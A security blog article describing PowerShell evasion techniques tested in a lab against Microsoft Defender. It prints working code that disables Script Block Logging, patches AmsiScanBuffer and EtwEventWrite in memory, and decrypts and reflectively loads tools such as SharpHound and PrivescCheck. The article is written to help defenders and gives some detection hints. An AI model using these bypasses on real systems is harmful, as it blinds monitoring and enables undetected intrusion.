Microsoft Cloud Access Tokens
Marius Elmiger
Outsmarting Antivirus with Evasion Techniques
This article explores a range of techniques an attacker could utilize to avoid detection while leveraging PowerShell during an engagement. Gaining insight into these potential evasion methods and their functionality can assist defenders in understanding the constraints of monitoring PowerShell and consequently strengthening their defenses. Although the presented evasion techniques are not novel, and therefore, a modern Endpoint Detection and Response (EDR) solution may flag the techniques as malicious.
AV Evasion techniques are often divided into two main categories: Static and dynamic. Applying static evasion has the goal to modify content in the malware file so that the hash or checksum is changed to make it less likely to be identified by AV’s signature-based detection. Signature-based detection can be circumvented by try-and-error or a systematic approach. Latest requires reverse engineering of the virus definition files to understand how a particular AV detects malicious patterns. Dynamic evasion uses different techniques to avoid detection depending on how the malware is run. An example is modern AV’s which are detonating files in sandboxes to analyse the behaviour dynamically. Dynamic AV evasion techniques address such detection methods by hiding or not executing the payload in a sandbox. The following AV evasion techniques are often used:
Beside the AV, Defenders can leverage several Windows security features to monitor and detect potential security threats on their systems.
By leveraging these Windows security features, defenders can monitor their systems for potential security threats and quickly identify and respond to any suspicious activity. AMSI, PowerShell Script Block Logging, and ETW provide defenders with powerful tools to monitor scripts and system events, detect suspicious activity, and investigate security incidents efficiently.
For this article, we created a simple testing methodology, an AV evasion PowerShell script, and a small lab environment. The AV evasion strategies aimed to circumvent Microsoft Defender AV, ETW and PowerShell Script Block Logging on a Windows 10 22H2, both with and without an internet connection. We initially tested the AV evasion techniques on a machine without an internet connection. Once we gained confidence in successfully bypassing the defensive mechanisms, the tests were repeted on the machine with the Internet connection. At the beginning of the tests, the Automatic sample submission should be disabled under the Defender AV menu, to avoid that the POC is blocked after the first try.
The following figure shows what high-level steps the script PlansRunner.ps1 will sequentially execute.
The PoC code can be found on GitHub.
The script should be started with the decryption password parameter (arg1), either with:
Import-Module .\PlansRunner.ps1 | Update-AVSignature -arg1 <password>
or if PowerShell execution policy is set to restricted as example with:
Get-Content .\PlansRunner.ps1 | out-string | iex Update-AVSignature -arg1 <password>
If the PowerShell Script Block Logging feature is enabled, the execution of this script is recorded under the Microsoft-Windows-PowerShell/Operational Eventlog. Further, AMSI could block some of the code. Therefore obfuscation techniques had to be used at this stage. The first obfuscation measure was to hide the code in the PlansRunner.ps1 among commented-out PowerShell Script Block entries from a valid MSFT Defender Script Block Logging entry.
Second, the Script Block Logging disable part had to be obfuscated by modifying byte strings and the code structure to bypass signature-based and AMSI detection.
[Ref].Assembly."G`etType"("S`ystem.Management.Automation.ScriptBlock")."GetFie`ld"("signatures","NonPub"+"lic,static").SetValue($null, (New-Object 'System.Collections.Generic.HashSet[string]')); $Logging = [Ref].Assembly."G`etType"("System.Management.Automation.Utils")."GetFie`ld"("cachedGroupPolicySettings","NonPu"+"blic,Static").GetValue($null);$location = 'HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLo'+'gging';$value1 = "ScriptBlockLo'+'gging";$value2 = "EnableScri'+'ptBlockInvoca'+'tionLogging";$Logging[$location] = @{};$Logging[$location].Add($value1,"0");$Logging[$location].Add($value2,"0");
The above code sets the signatures variable to an empty hashset and the cached value of EnableScriptBlockLogging and EnableScriptBlockInvocationLogging held by PowerShell to disable the logging no matter the currently applied Group Policy settings. After this command is executed, no PowerShell commands in the current PowerShell process will be recorded under the Microsoft-Windows-PowerShell/Operational Eventlog. This technique was adapted from Adam Chester blog post Exploring PowerShell AMSI and Logging Evasion.
After the deactivation of the PowerShell Script Block Logging feature, the data.txt is read and the first script block is decrypted.
$content = Get-Content -Path "data.txt" -Raw;$strings = $content -split ";";foreach ($string in $strings) {$data = [Convert]::FromBase64String($string);$data = ModelWrapper $arg1 $data;$data = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String([System.Text.Encoding]::UTF8.GetString($data)));iex $data}
The above code reads the content of the file data.txt as a single string and stores it in the $content variable. The content is then split into multiple junks using the semicolon as a delimiter. The code then enters a loop and iterates through each of the strings. Finally, the ModelWrapper, a minimal RC4 cypher stream function, decrypts the string and executes the resulting code as PowerShell script.
To detect the mentioned evasion techniques, EnableScriptBlockLogging and EnableScriptBlockInvocationLogging string alteration should be monitored. In the script, no suspicious strings were used. PowerShell Script Block Logging, therefore, flags the PowerShell script with the level Verbose under the Microsoft-Windows-PowerShell/Operational Eventlog. PowerShell Enhanced Logging could be activated in addition to the PowerShell Script Block Logging. But also this logging technique can be bypassed as described in the following PowerShell Enhanced Logging Capabilities Bypass blog post from Jann Lemm.
This step verifies if Script Block Logging is disabled
write-host " ";write-host "SSBtdXN0IG5vdCBmZWFyLiBGZWFyIGlzIHRoZSBtaW5kLWtpbGxlci4";write-host " ";$log = Get-WinEvent -filterhashtable @{logname="Microsoft-Windows-PowerShell/Operational";id=4104} -erroraction 'silentlycontinue' | Where {$_.Message -like "*SSBtdXN0IG5vdCBmZWFyLiBGZWFyIGlzIHRoZSBtaW5kLWtpbGxlci4*"};if($log){ exit; }
The code starts write-host commands that print an encoded string. It then queries the Windows event logs under Microsoft-Windows-PowerShell/Operational and searches for an event with a message containing the encoded string SSBtdXN0IG5vdCBmZWFyLiBGZWFyIGlzIHRoZSBtaW5kLWtpbGxlci4. If the event is found, the script exits. Adam Chester used this technique in his blog post that was mentioned above.
In this step, the script disables the AMSI functionality and the PowerShell ETW Logging. As a replacement for the actual heavily obfuscated code in the script, the following unobfuscated code is used to explain the code.
$libPath = "kernelbase.dll" Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class Syscalls { [DllImport("$libpath", SetLastError = true)] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("$libpath", SetLastError = true)] public static extern IntPtr LoadLibrary(string libPath); [DllImport("$libpath", SetLastError = true)] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); } "@ $amsiScanBufferAddress = [Syscalls]::GetProcAddress([Syscalls]::LoadLibrary("amsi.dll"), "AmsiScanBuffer") [Syscalls]::VirtualProtect($amsiScanBufferAddress, [UIntPtr]::new(0x5), 0x40, [Ref]0) [System.Runtime.InteropServices.Marshal]::Copy([Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [UInt32]0x80, [UInt32]0xC3), 0, $amsiScanBufferAddress, 6) $LogProvider = [Ref].Assembly.GetType("System.Management.Automation.Tracing.PSEtwLogProvider") $Provider = $LogProvider.GetField("etwProvider", [System.Reflection.BindingFlags]::NonPublic -bor [System.Reflection.BindingFlags]::Static).GetValue($null) [System.Diagnostics.Eventing.EventProvider].GetField("m_eventProviderEnabled", [System.Reflection.BindingFlags]::NonPublic -bor [System.Reflection.BindingFlags]::Static).SetValue($Provider, 0)
The code modifies the behaviour of the AmsiScanBuffer function in the amsi.dll library by patching its instructions with new code. This is achieved by using memory manipulation techniques. The end result is that any call to AmsiScanBuffer from the current PowerShell Session (or any other application that uses the amsi.dll library) will always return success, thereby bypassing any malware scanning that AMSI might perform. The technique was presented by Tal Lieberman during his Blackhat talk The Rise and Fall of AMSI. The second part of the code disables the ETW logging in PowerShell by retrieving the ETW provider instance associated with the PowerShell log provider and setting the m_enabled field to 0. This effectively disables the PowerShell ETW logging. The Microsoft-Windows-DotNETRuntime ETW provider still logs events from .NET applications.
The last code block verifies if any AMSI error was logged from the previous actions. The script ends if an event in the Microsoft-Windows-PowerShell/Operational is found. The additional part of this step is the execution of the three encrypted PE files (readme{1-3}.txt) and one encrypted PowerShell file (readme4.txt), the actual reason for the previous evasion techniques.
# Run S h a r p h o u n d $application = "$($env:USERPROFILE)\Documents\readme2.txt" $encryptedData = [System.IO.File]::ReadAllBytes($application) $OutputString = ModelWrapper $arg1 $encryptedData $command = "-d test.domain.ch -c DCOnly" $app = "Sharphound.Program" $method = "Main" $Assembly = [Reflection.Assembly]::Load($OutputString) $Assembly.GetType($app).GetMethod($method).Invoke($Null, @(,$command.Split(" ")))
The readme files are, like the above described instruction files, RC4 encrypted. The function ModelWrapper from the PlansRunner.ps1 script decrypts the readme files and stores the content in the $OutputString variable. The script then loads the output string as an assembly using the reflection assembly class and loads the specified method for the PE. Finally, the script invokes the defined method and passes a command-line argument. For the test, the following PE and PowerShell file were successfully executed on an offline and an online Windows 10 22H2 client with an up-to-date Defender AV signature:
readme1.txt (etw.exe): The etw.exe disables the Microsoft-Windows-DotNETRuntime ETW provider in the current PowerShell Session.
using System; using System.Runtime.InteropServices; namespace Etw { public class Program { [DllImport("kernel32")] private static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] private static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); public static void PatchEtw() { IntPtr hNtdll = LoadLibrary("ntdll.dll"); IntPtr pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite"); byte[] patch = { 0xc3 }; _ = VirtualProtect(pEtwEventWrite, (UIntPtr)patch.Length, 0x40, out uint oldProtect); Marshal.Copy(patch, 0, pEtwEventWrite, patch.Length); _ = VirtualProtect(pEtwEventWrite, (UIntPtr)patch.Length, oldProtect, out uint _); Console.WriteLine("ETW patched"); } public static void Main(string[] args) { PatchEtw(); } } }
The C# console application first loads the ntdll.dll library and gets the address of the EtwEventWrite function using GetProcAddress. It then replaces the function’s first byte with a ret instruction 0xc3, effectively disabling the Microsoft-Windows-DotNETRuntime ETW event logging. The technique was adapted from the following blog posts Maelstrom: Working with AMSI and ETW for Red and Blue and Hiding Your .NET ETW.
To verify if Microsoft-Windows-DotNETRuntime ETW was successfully disabled, the Tool Silketw from Mandiant was used.
{"ProviderGuid":"e13c0d23-ccbc-4e12-931b-d9cc2eee27e4","YaraMatch":[],"ProviderName":"Microsoft-Windows-DotNETRuntime","EventName":"Loader/DomainModuleLoad","Opcode":45,"OpcodeName":"DomainModuleLoad","TimeStamp":"2023-03-31T13:21:32.7172447+02:00","ThreadID":7532,"ProcessID":5236,"ProcessName":"powershell","PointerSize":8,"EventDataLength":44,"XmlEventData":{"ModuleID":"140’711’887’353’144","Reserved1":"0","ModuleNativePath":"","AppDomainID":"2’020’932’991’376","ActivityID":"48b6074463110001acefd3481163d901","FormattedMessage":"ModuleID=140’711’887’353’144;\r\nAssemblyID=2’021’372’324’352;\r\nAppDomainID=2’020’932’991’376;\r\nModuleFlags=Manifest;\r\nModuleILPath=0;ModuleNativePath=etw;\r\nClrInstanceID= ","MSec":"3382.9995","ModuleFlags":"Manifest","AssemblyID":"2’021’372’324’352","PID":"5236","ModuleILPath":"etw","TID":"7532","ProviderName":"Microsoft-Windows-DotNETRuntime","PName":"","ClrInstanceID":"37","EventName":"Loader/DomainModuleLoad"}}
The above log entry was the last entry the Microsoft-Windows-DotNETRuntime ETW provider recorded. Other DotNet applications executed after the execution of the etw.exe are no longer logged by the Windows-DotNETRuntime ETW provider.
readme2.txt (sharphound.exe): SharpHound is the official data collector for BloodHound. It is written in C# and uses native Windows API functions and LDAP namespace functions to collect data from domain controllers and domain-joined Windows systems. @_wald0, @CptJesus, and @harmj0y are the primary authors of this implementation. SharpHound was compiled from the following repository SharpHound. For this test no obfuscation was applied to the solution.
readme3.txt (seatbelt.exe): Seatbelt is a C# project that performs a number of security oriented host-survey safety checks relevant from both offensive and defensive security perspectives. @harmj0y and @tifkin are the primary authors of this implementation. Seatbelt was compiled from the following repository Seatbelt. For this test no obfuscation was applied to the solution.
readme4.txt (PrivescCheck.ps1): PrivescCheck aims to enumerate common Windows configuration issues that can be leveraged for local privilege escalation. It also gathers various information that might be useful for exploitation. The script is from @itm4n. PrivescCheck was cloned from the following repository PrivescCheck. PrivescCheck.ps1 was created with the Build.ps1 script. Which is obfuscating the commands. Although it is flagged as malware by Microsoft Defender if executed without AMSI bypass.
In conclusion, this article has highlighted several techniques attackers can use to evade detection using PowerShell. While these techniques may not be new, and a good EDR should flag them as malicious, it is still essential for defenders to understand and test their defensive capabilities against them. Furthermore, by knowing the possible bypass techniques and how they work, defenders can gain a better understanding of the limitations of their detection and prevention capabilities and take appropriate measures to improve their defences.
The proof-of-concept script in this article showcased an array of evasion techniques, which can be enhanced, expanded, or adapted into different programming languages. However, for evading beside an AV also an EDR system like Microsoft Defender for Endpoint, with its dedicated DefenderApiLogger ETW provider, requires more sophisticated evasion techniques. It is important to remember that the primary objective of bypassing security measures should not be limited to executing malicious code successfully but also to elude detection.
As threats continue to evolve and become more sophisticated, staying up to date and continuously improving defensive strategies is crucial in the ongoing fight against IT security threats. Defenders should remain vigilant, regularly test their defences, and take proactive measures to prevent and mitigate the impact of potential attacks, such as against the techniques described in this article.
Our experts will get in contact with you!
Marius Elmiger
Marius Elmiger
Marius Elmiger
Marius Elmiger
Our experts will get in contact with you!